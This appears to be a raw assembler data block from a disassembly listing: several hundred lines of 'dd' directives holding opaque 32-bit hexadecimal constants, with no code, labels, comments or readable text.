		dd 0C3512889h, 89413F64h, 903C9BDh, 0E6DFD300h,	0F9009770h
		dd 71E4DB61h, 0AD4025B4h, 0F00319D0h, 32EF002Ch, 0C69D3834h
		dd 8A0C1779h, 3C5C7E3Ah, 9FD525F3h, 61AA759h, 1EBD9873h
		dd 0B82B5EFCh, 0A5C1C160h, 72B5B89h, 0C4B501C9h, 0A560AB15h
		dd 425D8D89h, 8C845B23h, 9DA95FBh, 0C45920FDh, 20812B14h
		dd 0C2C8EC30h, 0D18BF9E0h, 912DC87Ch, 66101486h, 68002420h
		dd 3E84D9BEh, 27E18Eh, 0B2584EDCh, 5E297CA5h, 4F57055Ch
		dd 0DEF6BBA5h, 0A27740EAh, 0A1003EC1h, 604A628Eh, 208B03h
		dd 0E387BBD3h, 6148463Bh, 797DE92Dh, 0D30698BCh, 0B1D39185h
		dd 5466331Ah, 0D52631E9h, 0FBB63A33h, 22EF427Ah, 85091C16h
		dd 0BF2AF0C5h, 9E09F604h, 0E445E948h, 0FE9297E5h, 0B243C4F7h
		dd 0EE56C429h, 88DFACEAh, 6A70A529h, 19A3A5F8h,	7AF90BFh
		dd 0A0D06232h, 14884B5Dh, 0A2C00EE6h, 60785DA4h, 0B0955BDAh
		dd 832701E0h, 89601F0Bh, 0FFA0779Dh, 7A31E881h,	616A0E1Ch
		dd 7850FBAFh, 0DF02F833h, 79A00FC4h, 5AB35059h,	9D2B718h
		dd 1308ECB9h, 56259233h, 3900FEC2h, 0D88B22CCh,	0ADF80FCh
		dd 199D2310h, 0C02B89BFh, 8C702EFBh, 0F1713A4h,	6F86B55Dh
		dd 6FF104A6h, 78F1CC40h, 6360B12h, 16D67EB3h, 5113FB15h
		dd 2D146FBAh, 259A58FEh, 1F5C17E5h, 645FCD52h, 0B55FC186h
		dd 8E0F012Eh, 6026B332h, 80D90041h, 61585118h, 0D169669Eh
		dd 2ADE00C4h, 7AD72360h, 0C672101Ch, 83B38812h,	6165F925h
		dd 8D045B6Ah, 1021D2Dh,	297F99BDh, 4567518Ch, 0CB7BEBADh
		dd 37C85607h, 0A8164047h, 0FF25BCCBh, 4757B60h,	131341B5h
		dd 62ECC402h, 95577861h, 47D1BAFBh, 0A347123Bh,	59A450B7h
		dd 0B7E11A44h, 0DDC0F1EDh, 71DC1EE7h, 32A81317h, 0D9350B27h
		dd 7A5C76B1h, 0E24E1ACEh, 0A50901B3h, 618C0E41h, 9FD2282Bh
		dd 92F78989h, 0E99C5518h, 0E327A76Eh, 0EC13959Dh, 0CE58AA74h
		dd 0F6805127h, 5B5B4D6Dh, 4A171110h, 79BF9C80h,	6C2C25B9h
		dd 84D79B62h, 77AC1E41h, 8C0113C5h, 22840301h, 81091FD1h
		dd 59C7D3F7h, 2778A623h, 0AFB27678h, 2DC7B9Eh, 73306ADh
		dd 0E48911FDh, 62D71993h, 0BB7405E1h, 55E7FF81h, 0DB2B6A15h
		dd 0B431C5BCh, 0F068BC91h, 40C13C8h, 5E96B6BFh,	1E6EAC7Eh
		dd 5EFE6B0Fh, 1C8666DBh, 1154C4CEh, 0F2F53DAh, 51772385h
		dd 0A98C5Bh, 0A6BEA6D6h, 0A62B25B8h, 46D66456h,	0A0CF001Ch
		dd 85AD4039h, 13572A10h, 2A8A39F5h, 0BBE9DE09h,	60020D2Bh
		dd 0BA562105h, 0F6CE09E7h, 0BDA62352h, 0A753DE2Dh, 62181759h
		dd 77ABCD14h, 141512AAh, 7A6D2DABh, 2E89229Ah, 899F985Fh
		dd 0BD230906h, 7C14315Dh, 0DAF38012h, 0FF39A5B1h, 0DA0EE6B8h
		dd 471F55A4h, 0C72D9D29h, 0A2F04454h, 0C4694A2Dh, 0B837B9CAh
		dd 318304A7h, 0AA22658Dh, 91DB9174h, 680F97C3h,	0DA3BCCE1h
		dd 5063897Dh, 37DB1FC2h, 33B7ADE3h, 0C031F500h,	2EAB4947h
		dd 92E5FC93h, 0A89BB98Dh, 425A8C17h, 884BE5FCh,	0D70E40BAh
		dd 25C1EF91h, 0B40074A3h, 805FF18Fh, 90C62DE7h,	66259CDEh
		dd 808D036h, 51610499h,	0C6900ED2h, 8070F27Bh, 0B419045Bh
		dd 814621E8h, 2E068566h, 21CC0674h, 147B04D1h, 0A96125DCh
		dd 4B13B85Bh, 0C8099EA6h, 0DB62C01Dh, 72027DE0h, 452EC731h
		dd 7534C28Ah, 1111036Dh, 66EB8101h, 2B46DBE7h, 8104E124h
		dd 0E1AC1091h, 0BC7795EEh, 3F5501C4h, 679FC019h, 7D242083h
		dd 0B5317B09h, 0BD9ED5A5h, 6FB5FB74h, 0B883419Ch, 0D5F26034h
		dd 0C4CF0553h, 7F603CAh, 0F0960070h, 0F29FA527h, 88BC595Ah
		dd 0ADD38160h, 957DF68Eh, 0BD29A998h, 5913A54Bh, 14ACB3FDh
		dd 34E34D8Ch, 2E5C8D4Ah, 80161FE0h, 89300F96h, 0D5BF3505h
		dd 332607ABh, 0F9DD8A50h, 2A7068D3h, 9AED0257h,	8756B42h
		dd 51FBF9EAh, 5412DD8Bh, 3FFBEB96h, 12D09D70h, 0AB961CE9h
		dd 9F19C089h, 4B52F22Ah, 4C1CA9E6h, 0EA780D6h, 6BADF61Ah
		dd 58F96E09h, 98AC595Bh, 5FF8C251h, 7CA59A95h, 1FF452DBh
		dd 7F2005D4h, 8157DB53h, 232C197h, 27A5565Bh, 0A6044FB7h
		dd 7BAA96B3h, 0FA1000A6h, 1DBD8972h, 43599D1Eh,	406A6D69h
		dd 0F04AD2DBh, 9D31CB09h, 6BB154F1h, 0F0DBF87Bh, 5F9D01E0h
		dd 469EC6BDh, 23709ABBh, 2F800E5Ah, 0CF85A6F0h,	0ED810511h
		dd 0BCC3FD07h, 0A4008C18h, 84D49063h, 25CD35BBh, 0CF6527D6h
		dd 2CF2150h, 57B86C0Dh,	0F478686Bh, 0BE605131h,	77072EA5h
		dd 965F1061h, 2F0921BBh, 0DC5019ECh, 780E60DEh,	75019A3Eh
		dd 0EFE31BA1h, 0A73851A3h, 0FB98BC80h, 210211F3h, 76A1E0Dh
		dd 5CE6C20Ah, 6656A566h, 0F2505EF6h, 568E270Bh,	0F781C1A5h
		dd 0CF56F6F1h, 2B102351h, 9A9A619Dh, 34F2504Ah,	9FF3F01h
		dd 604BE69Ah, 0E01D7012h, 0C0C46BB8h, 10A02BD1h, 8EB72D53h
		dd 302C75Bh, 752DC59Dh,	0C3A45C65h, 0BA9A4CD6h,	0A3516124h
		dd 0FA387297h, 0ED00DF97h, 68E5CE52h, 0DC8F0F99h, 0AE662521h
		dd 4525EA9Eh, 2E3D1177h, 0F76990F8h, 0B1FF3912h, 89088F56h
		dd 92B18D58h, 0E82972A1h, 5B4A88B8h, 6BD29AA3h,	100D2577h
		dd 2554E50h, 0A34FB501h, 687F2A6Ah, 9538E90Dh, 0E773B289h
		dd 92C5570h, 33A86EF8h,	9077360Bh, 9BFC1CFh, 6ACA71B9h
		dd 569FCF59h, 9B8F601h,	8C7A5F4Fh, 821E64A2h, 0CC0CEACh
		dd 9AF7EF57h, 88C10984h, 77EBC81h, 831FBF81h, 0C484310Fh
		dd 0AA585AF8h, 13F929C1h, 84EDCA06h, 1852906h, 20856BE8h
		dd 407AAAC7h, 28AFD106h, 1C415489h, 0D2B58DD0h,	7BCBA10Dh
		dd 7302356Eh, 621D7F0Ah, 1B9504DDh, 0D5058112h,	4B783C35h
		dd 2900096Eh, 0FD2BD91Fh, 6205BBADh, 6A67A0CAh,	19F0C4A6h
		dd 2102E706h, 4C7B690Bh, 1C25F4DAh, 0CCC2091h, 956AC38Dh
		dd 84464318h, 5F59ED07h, 0E1105DA1h, 0AFE7D4h, 8B06B56Eh
		dd 0D781C545h, 0DFF09A95h, 5A5E801Bh, 0A94E17BDh, 8C1AAC0Eh
		dd 2B04D578h, 2CB8CBC4h, 0B1E3A6C0h, 0D1FF2E17h, 0B800DEEEh
		dd 874B80D6h, 0C5937DF3h, 0FF19B5B0h, 4EA76A98h, 0C102AC37h
		dd 0A5479CC7h, 485F1FD4h, 5A775A17h, 8EDDA311h,	75251C90h
		dd 3014DB7h, 0F1EA4BE5h, 0CDCEB440h, 6A6B071Bh,	0AB958902h
		dd 4B5A1412h, 12BF9898h, 0DC0B56FCh, 8C329716h,	9A2EE729h
		dd 98E48218h, 990F593h,	0FC1288B6h, 0C4AFB06Dh,	0EFE20E56h
		dd 6C8445A9h, 0E102B8A1h, 0F01C72Ah, 624C6A87h,	2FBA3D52h
		dd 28B75B23h, 0ED74B400h, 76699149h, 806C9971h,	0A473CE58h
		dd 9B000D4Ch, 0CDCA8B7Dh, 4ABBA603h, 827BA968h,	0FC238FBFh
		dd 90403C36h, 0F9BB5003h, 0BE02E259h, 97EE0BA8h, 0B4543CB0h
		dd 17B98555h, 0D0D500CAh, 539A9E5Fh, 0CDEF95BAh, 51652EDAh
		dd 3AA29300h, 97F82998h, 0DF6330D6h, 5BBC86Ah, 1B895DFDh
		dd 0AB1D7D13h, 0FD01877Ah, 0B7196237h, 0E4622B34h, 0BB56200Dh
		dd 9225D0D4h, 9D837D2Dh, 21BC159Dh, 2136880Fh, 0F168110h
		dd 130B71E4h, 0D8A95C94h, 475E028h, 0DBA170D3h,	4ACCAC4Ah
		dd 0A0E9C688h, 38DACC05h
		dd 0B0F3DE62h, 5F502D7Ah, 95106B52h, 0F8D211A5h, 40F2082h
		dd 8531C82Bh, 0A9EF945Dh, 0A7A871CDh, 5AA39CE9h, 2B0509D9h
		dd 0AB803067h, 73628A6Fh, 1CD94BEEh, 0FBDD74CBh, 0D8155923h
		dd 471CC8h, 8724CD25h, 67AAD642h, 0B6296404h, 0B4AC440Bh
		dd 7604ED4Bh, 670FBFE0h, 4965FEA5h, 44B45ADEh, 95190117h
		dd 486B25D5h, 0DD5DC314h, 1262BF48h, 0D9AE1611h, 0FBBB60AFh
		dd 2AB19195h, 359D3310h, 0A5FED4B2h, 57FE18A0h,	4F15C3B7h
		dd 0E05B61DAh, 0CCB77168h, 28F89D03h, 57145B5h,	0E9E731B4h
		dd 0BFFBC9Ch, 83711E42h, 8D40F23h, 65DB4A4Bh, 0DCAAFD82h
		dd 21E14140h, 90FBB780h, 177F25F9h, 0FBADBC53h,	72F75004h
		dd 6B01B309h, 2781F1E2h, 0BF80ABD1h, 0DF698791h, 2E5B09CFh
		dd 81A096B9h, 1379B509h, 53FBB295h, 0F4F451E4h,	0A6650DB9h
		dd 0F0E04DD8h, 0EFD504CBh, 81C02BFCh, 2118D13h,	2570E160h
		dd 4010FEC6h, 2C31A9D6h, 970E9474h, 13BA610Bh, 39B67BAAh
		dd 71CC8B9Dh, 9D417061h, 19F93C53h, 0A6043118h,	0BE276309h
		dd 0FF93ECACh, 0BA66B960h, 0D9C34A43h, 20F8D9C7h, 3AEDE9A5h
		dd 9341F2A7h, 0A22A1ED9h, 73DAF605h, 8751B5FEh,	0DF9747C6h
		dd 35318B4Ah, 0F3873A55h, 33370E7h, 0EAEE2C07h,	0E5F42086h
		dd 0BD8292ADh, 0F112153Dh, 95C4A082h, 8A2B5614h, 0FAD8F404h
		dd 1BCE1630h, 0A8AA84F6h, 0C5FBA473h, 0C89BBE01h, 18AD9D3h
		dd 2B3135D1h, 25EB9539h, 6379606Bh, 758D9700h, 4A17367Ah
		dd 9162FFC1h, 5F8A8469h, 6E4BA2ACh, 0C485007Eh,	5A880FDh
		dd 0C5F84AFCh, 0B8A8BDC0h, 2DA70FAh, 0D29EA75Ch, 0DE56EE0Fh
		dd 0C55A8791h, 3F4EA1A5h, 21A837E2h, 619D3500h,	0AF052D4Ah
		dd 0CC7C4A1Ch, 0F70281FEh, 470C0FCh, 69D8D450h,	85E846FAh
		dd 7A12D520h, 3A66BEB7h, 0ECF96797h, 5760A1CCh,	0A2512349h
		dd 0B77061D0h, 0AC8A1E8Eh, 31AD7452h, 0C6E412E3h, 83B4F180h
		dd 0AC48D66Ch, 0D1A104C3h, 0BDCCEF1Ah, 44C70077h, 0F76E4185h
		dd 0B6041353h, 0C001864Dh, 0BF7790BFh, 9F84B54Fh, 73F8B6BBh
		dd 585B5B81h, 62002C6Eh, 94344EC0h, 135E800Fh, 670306F7h
		dd 0B0975819h, 0D3A4D890h, 2792BF4Dh, 0D681545Fh, 1B131546h
		dd 3DEC30BFh, 6E004FCAh, 0B5943815h, 14EDC381h,	0DD4104F7h
		dd 0F8EBBD4Fh, 0E19B4EE8h, 69DB6023h, 78397204h, 569594E9h
		dd 0FBD3009Bh, 0DBC36424h, 0F05B44Dh, 1E98FE88h, 84484BA1h
		dd 0B05DF752h, 1A62934h, 0D0DE1CB1h, 80EF81E0h,	0BB1BC556h
		dd 4B6B3311h, 0F97A981Eh, 0BD29098Ch, 5B71309Dh, 0D48DDE69h
		dd 0D015974h, 13607AC7h, 9B3D0689h, 0DC0296B8h,	0C98501AFh
		dd 28176534h, 12A78C79h, 0E13EC9D3h, 80C16881h,	0D998094h
		dd 0BAC10286h, 9688C8B1h, 0D6507BC9h, 0FCE50975h, 952950D8h
		dd 4100E14Bh, 45A1CA68h, 0D514EB3h, 0C35F8070h,	62BF31B0h
		dd 0B1A5412h, 0C34A04ACh, 0D9D93540h, 209B3A4Ch, 8289E985h
		dd 80012DC7h, 0A66ACEF7h, 50D912CCh, 8450DEEFh,	0D985108Ah
		dd 23436BABh, 0F9A00515h, 0B844ED61h, 0B1830AE7h, 1AC5C8D7h
		dd 956F1D9h, 9C301F7Ah,	172845D4h, 65ACC173h, 35382B30h
		dd 0DAD39D4Eh, 2407B0D8h, 3ABDE890h, 1BADD839h,	0F5250F51h
		dd 628022B5h, 0BB070137h, 5F651689h, 0EB0FA823h, 0A31BDC2h
		dd 1F426FCh, 0EE7AFDE6h, 2E656C48h, 88993C28h, 41709D0Bh
		dd 54AFE9A7h, 0CBD3A597h, 252D270h, 0FB4ED10Dh,	0FCDCC699h
		dd 798F9025h, 5D5600ECh, 0EB7F286Ch, 0F300ED26h, 0D14BBAC3h
		dd 0BF9CFE1Ch, 8D1245CCh, 0F6A82F21h, 2F0E6BB5h, 263A7E69h
		dd 1D450980h, 0E988CD5Bh, 377A8011h, 9B619C89h,	0BBAB9100h
		dd 0E1F855FFh, 4BA8E469h, 26638DECh, 330CF025h,	0E142BA96h
		dd 0C8378B17h, 980B5897h, 8BADEF2h, 0F7412BF1h,	0AA5DDF5Ah
		dd 9719F5D8h, 6DBD7816h, 0AFB54079h, 8E04F8CCh,	0FC872B7Bh
		dd 0C8876B9h, 26786680h, 0B5B755ECh, 298475D1h,	0B7F195B5h
		dd 8921992Ah, 562F6DA8h, 0EC01E41Bh, 20F25F85h,	0BC6AD7h
		dd 0EF5A60ABh, 250CDFB0h, 78C2BDD7h, 0E9ED19FFh, 0F8906340h
		dd 0E7B20092h, 0AF37A02Dh, 614B7F7Eh, 0C87B4A8Dh, 8F0038EEh
		dd 40794905h, 0B699DEDh, 5BF80255h, 6D07D2C4h, 31E1B071h
		dd 49AEC09Fh, 4DC8DCh, 85901AD8h, 1C4BB705h, 8FFECBFh
		dd 4405BC1h, 0B7805B29h, 0B8D00638h, 0EC2D007Bh, 0EF6D95AAh
		dd 9D130C0Dh, 0D1FDC0F2h, 2FCDD3C2h, 3AAC16F3h,	0C2BA13D6h
		dd 0C54BBA19h, 0EFB17552h, 0D6822ABBh, 8F66DD31h, 0C1C53B9Dh
		dd 0B496053h, 5A13102Bh, 0DAC9BBCEh, 45A5CB59h,	7E3816C6h
		dd 61300221h, 0F1516567h, 0FC83007Eh, 0FD7A625Eh, 145F261Ch
		dd 0D950A5B9h, 19FC25B7h, 0BDF81E0h, 7BFE2D25h,	0BFD63754h
		dd 60D34230h, 0D717B97Fh, 15AA2B65h, 95C2EA4Fh,	3A552985h
		dd 0E66E5569h, 0C1CAF94Ah, 0F39F5922h, 761959BFh, 0FC61001Bh
		dd 67F2DB4h, 0BD292F52h, 5F2DE2D2h, 0D01A73C6h,	0A200B923h
		dd 9C97E4E3h, 2555CFBFh, 0DD675ABCh, 419FCDADh,	31D135CDh
		dd 418CD39h, 495BF3FCh,	0DA58487Fh, 0DC55BCh, 0AFB01FCAh
		dd 0EB7B4E51h, 4920F6B0h, 39609D03h, 0A4BD1D88h, 0DFACFA32h
		dd 96FBFC0h, 64B7797Fh,	60DE40CFh, 5D80AF99h, 6F792E93h
		dd 0AC692A8h, 58FCEB6Dh, 0A26192FBh, 41885E2Bh,	0FB2008Ah
		dd 0F27E78CEh, 0CF038663h, 74E46218h, 84F8F05Dh, 0B0F4622Fh
		dd 0D80B3201h, 3DB73AE3h, 0D5B35Eh, 7D3364E1h, 0AA5153h
		dd 0F2FC7718h, 56F1F9C9h, 71C8818h, 4FD5C3D8h, 0F210E6E7h
		dd 24FB5607h, 0EB07DEF6h, 947905FFh, 1FB370F1h,	1A0DF341h
		dd 0C58C8105h, 0D3FE0508h, 0B998F19Fh, 0CABFFFD8h, 0C3F6ED83h
		dd 2BA1D80Dh, 6B70D6BDh, 0D8A95F5Eh, 0C95867E8h, 746A2DA3h
		dd 6190DE45h, 123E4016h, 80292AAAh, 74CB6082h, 0E8BBF04Ah
		dd 161897FAh, 0A0A0B70Fh, 0E30481D1h, 48F04F28h, 7FA2B4ACh
		dd 806ABD5Fh, 589B2216h, 9805E179h, 26A0C26h, 0C9B813E9h
		dd 15483D03h, 0D1FD1972h, 0B9C881EFh, 13042759h, 2540AED0h
		dd 8AFA9F90h, 0C7AAF195h, 99FEF590h, 80A778AFh,	6AACBEC5h
		dd 920695FDh, 1C5F211Fh, 0CD898DF3h, 375D9C09h,	496A8595h
		dd 0FED08430h, 0B3B96475h, 0EF1277A8h, 0CBEA5090h, 0F2F75B79h
		dd 91C68500h, 9059AA28h, 0D6801899h, 0AB0AD733h, 0F8A17B1Ah
		dd 0DBF30065h, 0B00618B3h, 0AB95D4ACh, 0F63874B7h, 5A376501h
		dd 51FB46ACh, 0A905DF42h, 25B453C6h, 73BDAE44h,	86FCD001h
		dd 6207D202h, 550AB849h, 0BB9E8AD9h, 0FF6AD446h, 29D32C0Ch
		dd 120D0BE1h, 97F49B5Ch, 3195EA16h, 0AE1507DCh,	2DDB149Ch
		dd 1890A570h, 6E02AAD7h, 7283D2CAh, 70A2FF87h, 811014C1h
		dd 0E40B77F3h, 0C1DF8234h, 322B29B0h, 0FC2ACFE7h, 0E4B1DB12h
		dd 0A0CA07Fh, 4F55EEBFh, 4AEA88C1h, 2805CC07h, 13D004DEh
		dd 95B55C8Eh, 0A1A4EDAEh, 0B195612Fh, 0F9138679h, 1585C12Bh
		dd 0EF202B09h, 0B987E9F8h, 9958AF7Fh, 4F16DABDh, 92A7B80Bh
		dd 0F209C9A0h, 920511Dh, 0CFE4BFC1h, 0D2304A11h, 57250ECAh
		dd 965E300h, 0C254E95Bh, 0D88BF517h, 27DA795Dh,	1CB450F9h
		dd 3A88C6A8h, 102C6162h, 0D98A19D5h, 0C5B60783h, 0E11AB4h
		dd 0F3BEC291h, 0F9099A6Ah, 862CD6ECh, 95BBA922h, 3473E008h
		dd 0A2901280h, 3B1684D6h, 3113AF10h, 0FC68FC23h, 46028C19h
		dd 0F7D17448h, 7AF88B5Ch
		dd 0B43595B7h, 0B3831691h, 0D29AF8C9h, 58A1C262h, 0AFED9531h
		dd 224AF257h, 8B3C0282h, 0BD9BDAFBh, 7E97A683h,	2D8B8691h
		dd 48A64BB8h, 257BF0F0h, 10747907h, 4F0BBA6Ch, 2A526197h
		dd 0B7AA204Ch, 68F6FE5Fh, 1B018582h, 4C23DD7h, 0CA880D36h
		dd 4BA95EECh, 50C3B2E4h, 81D21D3Eh, 23D46BFBh, 29E0915h
		dd 5E40BAD6h, 3DCD5C86h, 2902BA75h, 3BA72F4Dh, 0DA09745Eh
		dd 0D2DE595Fh, 952C46DFh, 7970E114h, 4F464BEh, 393F35FBh
		dd 56218C15h, 41649Fh, 0BA28011Eh, 898ECB42h, 2ED1BD10h
		dd 117CF797h, 0F9922165h, 64A895h, 0B12CFC39h, 555DA92Ah
		dd 64E95E5Bh, 22EDBD82h, 2F3B9C7Fh, 7B048Dh, 0C9F857D2h
		dd 6446BF04h, 14B83666h, 6A0477A1h, 4526BB7Ah, 0B65A5EEh
		dd 6EFD1517h, 0E500DAECh, 4253D8FCh, 3EE3DC2Ah,	660281FEh
		dd 606E3CD9h, 0D3FB605Fh, 767F488Dh, 91E6510h, 70DBB361h
		dd 2188A02Dh, 0D8539D33h, 0B3515A00h, 0D4D92Eh,	3C3A80DFh
		dd 2DE3A1EDh, 0E4A4844Ah, 2191479Dh, 42793F85h,	0D101931Fh
		dd 18126558h, 0F9E7532Bh, 1F6E837h, 0CD298D23h,	0D23D6C60h
		dd 0F4FF9B55h, 507888FBh, 89806F91h, 0A0B29521h, 0BB7714C2h
		dd 7C27950Ch, 37098B55h, 0C25B8075h, 684328B0h,	4F69D707h
		dd 0F9D95397h, 66F701F4h, 0E8375A58h, 1A4DB8B9h, 68AED4C0h
		dd 8249627Ch, 3DD55h, 86C22968h, 0B8607401h, 63983FF4h
		dd 0EAA2237Bh, 86CB5AD0h, 0BC706704h, 1AB61D2h,	99C1D62Ah
		dd 5DB6B74h, 0AAEEB984h, 4F95199Ch, 0D226E229h,	9BA8A7ADh
		dd 60163148h, 0CB79BB45h, 9A754B7Fh, 0CF1AC802h, 0A3E72841h
		dd 88E5D1C2h, 51DC5B6h,	0A701AFE9h, 0D37EA0C1h,	8A8B12F9h
		dd 341188FDh, 0E0F31C00h, 0A8EA7025h, 0A53925AFh, 600504C6h
		dd 2599D29h, 6A5A39FFh,	0D100316Ah, 0AA21A476h,	0B65A2088h
		dd 122238A6h, 0D337F400h, 0EB6F3260h, 81CE0076h, 831CE48Ah
		dd 0DB78C9D4h, 295BFC07h, 73096D85h, 905DA718h,	5FC6D4h
		dd 0EA62EE74h, 0DA6C6722h, 24928200h, 0E0366DD2h, 0C9C1950Eh
		dd 0ACE62F06h, 8581BEE2h, 6E039C63h, 5E291E09h,	0D7BB5008h
		dd 0C842B4Bh, 0F1B887B9h, 9C8AA909h, 7D4F46B8h,	50A72D80h
		dd 410B5C74h, 0EF2C771Bh, 0EB4C0D74h, 4BB93E6Eh, 0A9522E9Ch
		dd 73291AA0h, 2F3DA15Bh, 0BB80DEF3h, 6DFE8F7Dh,	0A1DB0AB8h
		dd 0F527E262h, 86C27066h, 5C581E86h, 0E1B76214h, 0BFB5DD32h
		dd 9A536309h, 0B81CFFF8h, 8370F409h, 0D97218C8h, 0AB89000Ch
		dd 0B1A24753h, 205BF540h, 69CEEBFDh, 0B8725DD1h, 325D02F4h
		dd 0F8D8EECAh, 64EACF5Fh, 49E7601Ah, 5CD1060Bh,	0AA333286h
		dd 34CE0A4Ah, 0D092D64Eh, 3528ED20h, 0BF1457E9h, 6EC0FA9Bh
		dd 60F2C82Bh, 23800BB1h, 7FF60C50h, 2C1807A9h, 80DDF9ADh
		dd 0BB7801CEh, 0C57DDCB0h, 571D558Ah, 0AB5975D2h, 0A8DCF8h
		dd 3E19201h, 4051C91Ah,	62D69AB5h, 816A5509h, 950050F9h
		dd 0A53405B0h, 0DC5E008Eh, 66EB3F57h, 0D90236F4h, 9F355B8Ch
		dd 51385C42h, 0BA601382h, 3133818Ah, 0B854D5BDh, 0DF12DAA6h
		dd 5F142C61h, 614F4FB7h, 0CC741861h, 0F8029A03h, 8BBF7F5Ch
		dd 49EFBFAh, 123185BDh,	38A01104h, 8CD036B8h, 0E7069112h
		dd 99B85F17h, 0C41DF94Fh, 0BF4015ADh, 0C57D82Ah, 17E5077h
		dd 0FB30A52Fh, 181779AAh, 0C2923F28h, 0DD95890Dh, 0F7042A9Dh
		dd 0EBAC4285h, 679F88D2h, 0E05D8200h, 9376E6EFh, 0CFC0519h
		dd 0AAF5ABC2h, 0C8E95453h, 29002AECh, 0EBDEF90Ch, 672C5C17h
		dd 0ED79491h, 0C46BFF56h, 9BE5604Fh, 8F4A09Ah, 78CF612Fh
		dd 752EEDE7h, 5EF820Fh,	0A458BB20h, 174A4EE3h, 0BD7BEE51h
		dd 4C19BC5Bh, 0FD51065h, 0BB14D04Ah, 1AC5F9D1h,	0D9BF3011h
		dd 0B19B36B9h, 3DD1524Ah, 3AA32Fh, 0AB398DB3h, 9526A3h
		dd 5A887451h, 0F22B6887h, 96BF0E09h, 0A54271A5h, 3D771762h
		dd 0F7838772h, 0D50AE34Eh, 7AE8424Fh, 0F65A5C52h, 3A62F061h
		dd 7FEB09E6h, 0C5C2CE74h, 549490D8h, 0EF1400F6h, 60D799CAh
		dd 6812F8D6h, 98A104B7h, 9251BC2Eh, 277802E9h, 6E92F08Bh
		dd 4414DB5Dh, 7ED9AB61h, 8A47DA2Eh, 8BC29C47h, 17ED5FD9h
		dd 0C7601964h, 1D048558h, 5F519C60h, 15A282B8h,	1006F42Bh
		dd 0BF500207h, 0E470A41Ch, 1F5BA9BAh, 88924B32h, 93009A7Bh
		dd 0D35AECBDh, 9F8BCB15h, 0BF0599F3h, 1E2541A5h, 5FDAB881h
		dd 0C8ADDA3Fh, 22D5C018h, 564A49D8h, 0A9D2CFECh, 0B529A122h
		dd 8B7F09F9h, 0ACE159DFh, 80F60A23h, 89312C7h, 0B3052BFDh
		dd 0AD21C62Fh, 0DA3F1579h, 546A4CABh, 2EE1E972h, 729B2113h
		dd 97C1258Bh, 0C86E100Dh, 0F852123Fh, 0F7340024h, 8F13BA3Bh
		dd 64C5CDBFh, 0D7766016h, 90F909F7h, 61498D0Fh,	6D45E9h
		dd 0E5F044B8h, 7109325Ah, 985021EFh, 268D57h, 0FBAD062Fh
		dd 617B6CF6h, 3E72B800h, 7085CDECh, 900D2B8Ah, 7E1D78CBh
		dd 2CB9BDA0h, 0EEF772A2h, 0E4DA5F5Fh, 1B41E145h, 0E5198B01h
		dd 8E44047Fh, 0A8AC530Eh, 0C127D534h, 6F0219A7h, 600535F3h
		dd 0EC4DE980h, 1D3034C2h, 9C665FFFh, 37DB2712h,	0B8255800h
		dd 1D43ED76h, 4213409Fh, 0F5F353Eh, 0EF6544D5h,	0BB7A003Ah
		dd 6DFCC5E9h, 0B251E3BFh, 0CC5B3218h, 4775C50h,	798CB7B0h
		dd 4E76F82Dh, 24803FEFh, 0BC1C516h, 342E870Ah, 0BDA28116h
		dd 0F3EC32Dh, 4CF7D8B6h, 61761C86h, 0F59D0942h,	1FBA552Ch
		dd 3F0F6BF1h, 0C99DA04Fh, 779E32h, 6BC8DAB2h, 33948E3Bh
		dd 0AF261FBAh, 0D1052795h, 2DFC820Fh, 0AA13FDC4h, 8AAEDB38h
		dd 367C8AC8h, 37026A2Fh, 6F070C42h, 35EF1ECh, 95A04EA8h
		dd 90802031h, 0EDBA0460h, 0F2772A19h, 9FDD3A0Fh, 46C06776h
		dd 565107D7h, 860B03A8h, 5CCA18A7h, 540A87CCh, 0DFC0FF59h
		dd 256CC07Ch, 10ED9054h, 468DF9C2h, 6ED300D8h, 906BFF51h
		dd 5D4EEBCCh, 0F342F9D9h, 0CC602416h, 0A92427FDh, 1F011FD0h
		dd 81875905h, 70E2CE0h,	0E9612F16h, 567169A3h, 0B5842364h
		dd 41BC6AA9h, 66D0B400h, 3CF2E1D3h, 0F72E50E5h,	0FD1B4AD1h
		dd 3CDFD41Ch, 0D1E7DFB9h, 1FBFE04Eh, 202B9081h,	520F8673h
		dd 8CD52805h, 0CCBA1497h, 493CEB91h, 443080D7h,	68720A0Ch
		dd 0F985216Ch, 9606EDAh, 79CB1376h, 6AA549FCh, 0D8725B68h
		dd 3273FFFh, 259BF8D8h,	64C2203Bh, 125DBF57h, 127FE327h
		dd 0CCD0880Fh, 0FF6AB3B7h, 0E26EB62Ah, 1446F799h, 0F67CE382h
		dd 90919ACh, 0F456561Ah, 78DA4209h, 56C42Ah, 10CA744Bh
		dd 41D4BBE2h, 0DD58AF03h, 0DBEFBA9Fh, 132D8011h, 2DE790A8h
		dd 57511A8Dh, 60405544h, 376DC781h, 0B6A0FA7Fh,	9713B7C1h
		dd 0B9F3B061h, 95B8CA09h, 0DF008B70h, 0D7A1299h, 289E569h
		dd 0E6136572h, 4E420170h, 9510275Ah, 0E41634CDh, 0C194F871h
		dd 16C18529h, 0CA8332Eh, 1220934Fh, 852CB0h, 5DAFACB9h
		dd 6AB4D3CBh, 80DF99Fh,	0EB1A75h, 0DD33BB1Eh, 0DD594C31h
		dd 6FE9CF39h, 0E7817C68h, 61E2D312h, 0BF1340FFh, 77A2FEC0h
		dd 1B4D56C4h, 0D31FD8FFh, 916F1541h, 6889D10Eh,	0AFE986F4h
		dd 6C35BE7Fh, 79B529FEh, 14CC2944h, 7987A9E8h, 0C099109Dh
		dd 0F700161Fh, 0FE2BC48Bh, 30C1B091h, 367C423Ch, 0B975F90h
		dd 0E4565EDBh, 4BDEB8D9h, 186D26BEh, 0E292F94Bh, 0BF892422h
		dd 192BFBE4h, 0BD043D9Dh, 0C9601251h, 0CB522174h, 1C17E329h
		dd 0BFF561E3h, 3FF68F9h
		dd 5350BF4h, 2BC54AFEh,	2ECE70ABh, 80030E4h, 0A2335317h
		dd 0A2A58365h, 9DA60223h, 58184651h, 0F3C26708h, 0E55C1518h
		dd 2FD880C7h, 0ED97ED70h, 0CB0CE25Fh, 2EFDA861h, 1D23DD7Ah
		dd 89037E00h, 312A730h,	0F734DFE8h, 6610D88Ah, 0B90914DDh
		dd 0D3531050h, 554090D3h, 0DC2802A3h, 0CFAA8EF9h, 0C24095Eh
		dd 629F1560h, 48D70731h, 60DBD9AFh, 0DCE44ACEh,	8967553Ch
		dd 5643A5E3h, 0EC0BDEC3h, 4275F39Fh, 0DAF875A2h, 5DA5C096h
